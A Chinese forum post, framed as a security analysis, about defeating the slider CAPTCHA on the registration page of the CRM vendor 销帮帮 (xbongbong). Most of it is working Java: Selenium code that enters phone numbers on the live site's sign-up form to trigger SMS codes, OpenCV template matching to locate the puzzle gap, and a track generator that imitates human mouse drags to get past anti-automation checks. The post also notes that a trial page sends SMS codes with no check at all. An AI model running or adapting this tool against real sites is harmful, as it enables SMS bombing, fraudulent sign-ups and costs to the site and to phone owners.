【销帮帮-注册_登录安全分析陈诉-试用页面存在安全隐患】

[复制链接]
发表于 2024-11-11 05:20:15 | 显示全部楼层 |阅读模式
联通付出注册/登录安全分析陈诉
前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:

  • 暴力破解密码,造成用户信息泄露
  • 短信盗刷的安全问题,影响业务及导致用户投诉
  • 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞

所以大部分网站及App 都采取图形验证码或滑动验证码等交互办理方案, 但在机器学习能力进步的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底怎样? 请看具体分析
一、 销帮帮PC 注册入口

简介:杭州逍邦网络科技有限公司建立于2015年,是国内一线CRM品牌和企服范畴着名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩,让企业更成功。销帮帮拥有强大而灵活的“PaaS+代码”能力。


二、 安全性分析陈诉:

销帮帮自研的滑动验证码,容易被模仿器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上,该网站存在一个试用页面入口无任何防御的问题。


三、 测试方法:

前端界面分析,这是销帮帮自己研发的滑动验证码,网上没有现成的教学视频,但情势都差不多,难点:防模仿器鼠标,物理鼠标和逻辑鼠标定位不一致判断措施,办理思路为让JS 这部分代码失效或这采取 物理定位鼠标的部分,目前采取的是物理鼠标的方式。
这次还是采取模仿器的方式,关键点重要模仿器交互、间隔识别和轨道算法3部分
1. 模仿器交互部分

  1.         private OpenCv2 openCv2 = new OpenCv2(64, 128);
  2.         private static String INDEX_URL = "https://appwebfront.xbongbong.com/stand-alone-login.html#/";
  3.         @Override
  4.         public RetEntity send(WebDriver driver, String areaCode, String phone) {
  5.                 RetEntity retEntity = new RetEntity();
  6.                 try {
  7.                         driver.get(INDEX_URL);
  8.                         driver.findElement(By.xpath("//p[contains(text(),'免费注册')]")).click();
  9.                         Thread.sleep(100);
  10.                         // 输入手机号
  11.                         WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.xpath("//input[contains(@placeholder,'请输入手机号')]"), 10);
  12.                         phoneElemet.sendKeys(phone);
  13.                         // 点击获取验证码
  14.                         WebElement sendElement = driver.findElement(By.xpath("//button/span[contains(text(),'获取验证码')]"));
  15.                         sendElement.click();
  16.                         Thread.sleep(1000);
  17.                         // pic 1 get big
  18.                         WebElement bigImgElement = driver.findElement(By.xpath("//div[@class='verify-img-panel']/img"));
  19.                         String bigSrc = bigImgElement.getAttribute("src");
  20.                         byte[] bigBytes = GetImage.imgStrToByte(bigSrc);
  21.                         int bigLen = (bigBytes != null) ? bigBytes.length : 0;
  22.                         if (bigLen < 100) {
  23.                                 System.out.println("base64Str=" + bigSrc + "->bigLen=" + bigLen);
  24.                                 return null;
  25.                         }
  26.                         // pic 2 get small
  27.                         WebElement smallImgElement = driver.findElement(By.xpath("//div[@class='verify-sub-block']/img"));
  28.                         String smallSrc = smallImgElement.getAttribute("src");
  29.                         byte[] smallBytes = GetImage.imgStrToByte(smallSrc);
  30.                         int smallLen = (smallBytes != null) ? smallBytes.length : 0;
  31.                         if (smallLen < 100) {
  32.                                 System.out.println("smallSrc=" + smallSrc + "->smallLen=" + smallLen);
  33.                                 return null;
  34.                         }
  35.                         String ckSum = GenChecksumUtil.genChecksum(bigBytes);
  36.                         Map<String, Double> openResult = openCv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, this.getClass().getSimpleName(), 0);
  37.                         if (openResult == null || openResult.size() < 2) {
  38.                                 System.out.println("ckSum=" + ckSum + "->openResult=" + openResult);
  39.                                 return null;
  40.                         }
  41.                         Double r = 1.0;
  42.                         BigDecimal disD = new BigDecimal(openResult.get("minX") * r).setScale(0, BigDecimal.ROUND_HALF_UP);
  43.                         int distance = disD.intValue();
  44.                         boolean isRobot = true;
  45.                         int beginX = 827;
  46.                         int beginY = 659;
  47.                         if (isRobot) {
  48.                                 RobotMove.move(beginX, beginY, distance);
  49.                         } else {
  50.                                 WebElement moveElement = driver.findElement(By.className("verify-left-bar"));
  51.                                 ActionMove.move(driver, moveElement, distance);
  52.                         }
  53.                         System.out.println("distance=" + distance);
  54.                         Thread.sleep(1000);
  55.                         WebElement infoElement = ChromeDriverManager.waitElement(driver, By.xpath("//button/span/span[contains(text(),'(')]"), 20);
  56.                         String info = (infoElement != null) ? infoElement.getText() : null;
  57.                         retEntity.setMsg(info);
  58.                         if (info != null && info.contains("(")) {
  59.                                 retEntity.setRet(0);
  60.                         }
  61.                         return retEntity;
  62.                 } catch (Exception e) {
  63.                         System.out.println("phone=" + phone + ",e=" + e.toString());
  64.                         for (StackTraceElement ele : e.getStackTrace()) {
  65.                                 System.out.println(ele.toString());
  66.                         }
  67.                         return null;
  68.                 }
  69.         }
复制代码
2. 间隔识别

  1. /**
  2.          *
  3.          * @param ckSum
  4.          * @param bigBytes
  5.          * @param smallBytes
  6.          * @param factory
  7.          * @return { width, maxX }
  8.          */
  9.         public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {
  10.                 try {
  11.                         String basePath = ConstTable.codePath + factory + "/";
  12.                         File baseFile = new File(basePath);
  13.                         if (!baseFile.isDirectory()) {
  14.                                 baseFile.mkdirs();
  15.                         }
  16.                         // 小图文件
  17.                         File smallFile = new File(basePath + ckSum + "_s.png");
  18.                         FileUtils.writeByteArrayToFile(smallFile, smallBytes);
  19.                         // 大图文件
  20.                         File bigFile = new File(basePath + ckSum + "_b.png");
  21.                         FileUtils.writeByteArrayToFile(bigFile, bigBytes);
  22.                         // 边框清理(去干扰)
  23.                         byte[] clearBoder = (border > 0) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;
  24.                         File tpFile = new File(basePath + ckSum + "_t.png");
  25.                         FileUtils.writeByteArrayToFile(tpFile, clearBoder);
  26.                         String resultFile = basePath + ckSum + "_o.png";
  27.                         return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);
  28.                 } catch (Throwable e) {
  29.                         logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());
  30.                         for (StackTraceElement elment : e.getStackTrace()) {
  31.                                 logger.error(elment.toString());
  32.                         }
  33.                         return null;
  34.                 }
  35.         }
  36.         /**
  37.          * Open Cv 图片模板匹配
  38.          *
  39.          * @param tpPath
  40.          *            模板图片路径
  41.          * @param bgPath
  42.          *            目标图片路径
  43.          * @return { width, maxX }
  44.          */
  45.         private String[] getWidth(String tpPath, String bgPath, String resultFile) {
  46.                 try {
  47.                         Rect rectCrop = clearWhite(tpPath);
  48.                         Mat g_tem = Imgcodecs.imread(tpPath);
  49.                         Mat clearMat = g_tem.submat(rectCrop);
  50.                         Mat cvt = new Mat();
  51.                         Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);
  52.                         Mat edgesSlide = new Mat();
  53.                         Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);
  54.                         Mat cvtSlide = new Mat();
  55.                         Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);
  56.                         Imgcodecs.imwrite(tpPath, cvtSlide);
  57.                         Mat g_b = Imgcodecs.imread(bgPath);
  58.                         Mat edgesBg = new Mat();
  59.                         Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);
  60.                         Mat cvtBg = new Mat();
  61.                         Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);
  62.                         int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;
  63.                         int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;
  64.                         Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);
  65.                         Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法
  66.                         // 归一化相关匹配法
  67.                         MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);
  68.                         Point maxLoc = minMaxLoc.maxLoc;
  69.                         Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);
  70.                         Imgcodecs.imwrite(resultFile, cvtBg);
  71.                         String width = String.valueOf(cvtSlide.cols());
  72.                         String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());
  73.                         System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);
  74.                         return new String[] { width, maxX };
  75.                 } catch (Throwable e) {
  76.                         System.out.println("getWidth() " + e.toString());
  77.                         logger.error("getWidth() " + e.toString());
  78.                         for (StackTraceElement elment : e.getStackTrace()) {
  79.                                 logger.error(elment.toString());
  80.                         }
  81.                         return null;
  82.                 }
  83.         }
  84.         public Rect clearWhite(String smallPath) {
  85.                 try {
  86.                         Mat matrix = Imgcodecs.imread(smallPath);
  87.                         int rows = matrix.rows();// height -> y
  88.                         int cols = matrix.cols();// width -> x
  89.                         System.out.println("OpenCv2.clearWhite()  rows=" + rows + ",cols=" + cols);
  90.                         Double rgb;
  91.                         double[] arr;
  92.                         int minX = 255;
  93.                         int minY = 255;
  94.                         int maxX = 0;
  95.                         int maxY = 0;
  96.                         Color c;
  97.                         for (int x = 0; x < cols; x++) {
  98.                                 for (int y = 0; y < rows; y++) {
  99.                                         arr = matrix.get(y, x);
  100.                                         rgb = 0.00;
  101.                                         for (int i = 0; i < 3; i++) {
  102.                                                 rgb += arr[i];
  103.                                         }
  104.                                         c = new Color(rgb.intValue());
  105.                                         int b = c.getBlue();
  106.                                         int r = c.getRed();
  107.                                         int g = c.getGreen();
  108.                                         int sum = r + g + b;
  109.                                         if (sum >= 5) {
  110.                                                 if (x <= minX)
  111.                                                         minX = x;
  112.                                                 else if (x >= maxX)
  113.                                                         maxX = x;
  114.                                                 if (y <= minY)
  115.                                                         minY = y;
  116.                                                 else if (y >= maxY)
  117.                                                         maxY = y;
  118.                                         }
  119.                                 }
  120.                         }
  121.                         int boder = 1;
  122.                         if (boder > 0) {
  123.                                 minX = (minX > boder) ? minX - boder : 0;
  124.                                 maxX = (maxX + boder < cols) ? maxX + boder : cols;
  125.                                 minY = (minY > boder) ? minY - boder : 0;
  126.                                 maxY = (maxY + boder < rows) ? maxY + boder : rows;
  127.                         }
  128.                         int width = (maxX - minX);
  129.                         int height = (maxY - minY);
  130.                         System.out.println("openCv2 minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);
  131.                         Rect rectCrop = new Rect(minX, minY, width, height);
  132.                         return rectCrop;
  133.                 } catch (Throwable e) {
  134.                         StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");
  135.                         for (StackTraceElement elment : e.getStackTrace()) {
  136.                                 er.append(elment.toString() + "\n");
  137.                         }
  138.                         logger.error(er.toString());
  139.                         System.out.println(er.toString());
  140.                         return null;
  141.                 }
  142.         }
复制代码

3. 轨道天生及移动算法

  1.         /**
  2.          * 双轴轨道生成算法,主要实现平滑加速和减速
  3.          *
  4.          * @param distance
  5.          * @return
  6.          */
  7.         public static List<Integer[]> getXyTrack(int distance) {
  8.                 List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
  9.                 try {
  10.                         int a = (int) (distance / 3.0) + random.nextInt(10);
  11.                         int h = 0, current = 0;// 已经移动的距离
  12.                         BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
  13.                         BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
  14.                         BigDecimal move = null;// 每次循环移动的距离
  15.                         List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
  16.                         boolean plus = true;
  17.                         Double t = 0.18, v = 0.00, v0;
  18.                         while (current <= distance) {
  19.                                 h = random.nextInt(2);
  20.                                 if (current > distance / 2) {
  21.                                         h = h * -1;
  22.                                 }
  23.                                 v0 = v;
  24.                                 v = v0 + a * t;
  25.                                 move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
  26.                                 if (move.intValue() < 1)
  27.                                         move = new BigDecimal(1L);
  28.                                 if (plus) {
  29.                                         track.add(new Integer[] { move.intValue(), h });
  30.                                 } else {
  31.                                         subList.add(0, new Integer[] { move.intValue(), h });
  32.                                 }
  33.                                 current += move.intValue();
  34.                                 if (plus && current >= mid.intValue()) {
  35.                                         plus = false;
  36.                                         move = new BigDecimal(0L);
  37.                                         v = 0.00;
  38.                                 }
  39.                         }
  40.                         track.addAll(subList);
  41.                         int bk = current - distance;
  42.                         if (bk > 0) {
  43.                                 for (int i = 0; i < bk; i++) {
  44.                                         track.add(new Integer[] { -1, h });
  45.                                 }
  46.                         }
  47.                         System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
  48.                         return track;
  49.                 } catch (Exception e) {
  50.                         System.out.print(e.toString());
  51.                         return null;
  52.                 }
  53.         }
  54.         /**
  55.          * 模拟人工移动
  56.          *
  57.          * @param driver
  58.          * @param element页面滑块
  59.          * @param distance需要移动距离
  60.          * @throws InterruptedException
  61.          */
  62.         public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
  63.                 List<Integer[]> track = getXyTrack(distance);
  64.                 if (track == null || track.size() < 1) {
  65.                         System.out.println("move() track=" + track);
  66.                 }
  67.                 int moveY, moveX;
  68.                 StringBuffer sb = new StringBuffer();
  69.                 try {
  70.                         Actions actions = new Actions(driver);
  71.                         actions.clickAndHold(element).perform();
  72.                         Thread.sleep(50);
  73.                         long begin, cost;
  74.                         Integer[] move;
  75.                         int sum = 0;
  76.                         for (int i = 0; i < track.size(); i++) {
  77.                                 begin = System.currentTimeMillis();
  78.                                 move = track.get(i);
  79.                                 moveX = move[0];
  80.                                 sum += moveX;
  81.                                 moveY = move[1];
  82.                                 if (moveX < 0) {
  83.                                         if (sb.length() > 0) {
  84.                                                 sb.append(",");
  85.                                         }
  86.                                         sb.append(moveX);
  87.                                 }
  88.                                 actions.moveByOffset(moveX, moveY).perform();
  89.                                 cost = System.currentTimeMillis() - begin;
  90.                                 if (cost < 5) {
  91.                                         Thread.sleep(5 - cost);
  92.                                 }
  93.                         }
  94.                         if (sb.length() > 0) {
  95.                                 System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);
  96.                         }
  97.                         Thread.sleep(180);
  98.                         actions.release(element).perform();
  99.                         Thread.sleep(500);
  100.                 } catch (Exception e) {
  101.                         StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");
  102.                         for (StackTraceElement elment : e.getStackTrace())
  103.                                 er.append(elment.toString() + "\n");
  104.                         logger.error(er.toString());
  105.                         System.out.println(er.toString());
  106.                 }
  107.         }
复制代码

4. 图片比对结果测试样例:


四丶结语

杭州逍邦网络科技有限公司建立于2015年,是国内一线CRM品牌和企服范畴着名品牌。 致力为客户提供专业的客户全生命周期管理和数字化销售管理服务,助力企业提升业绩,让企业更成功。 销帮帮拥有强大而灵活的“PaaS+低代码”能力。在吸取了偕行滑动验证码的履历后,自己研发了独特风格的那个验证码, 从逆向代码来看, 不仅鉴戒了偕行的技术原理,还在防抓取上下了功夫,防模仿器鼠标,物理鼠标和逻辑鼠标定位不一致判断措施,办理思路为让JS 这部分代码失效或这采取 物理定位鼠标的部分,目前采取的是物理鼠标的方式。
从这点看,的确让初级黑客止步,但本质上, 前端技术都是暴露在浏览器,不管是JS 注入还是后端署理模式,都会让这些小技巧无效。
另一方面,该网站试用页面入口短信验证无任何验证,存在被盗刷短信的隐患。
   很多人在短信服务刚开始建立的阶段,大概不会在安全方面考虑太多,来由有很多。
比如:“ 需求这么赶,固然是先实现功能 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不大概的 ”等等。
  有一些来由固然有原理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
  所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
  戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 眼前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该怎样做好防御呢?
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码闭幕者-基于CNN+BLSTM+CTC的训练部署套件》

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
继续阅读请点击广告

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
回复

使用道具 举报

×
登录参与点评抽奖,加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表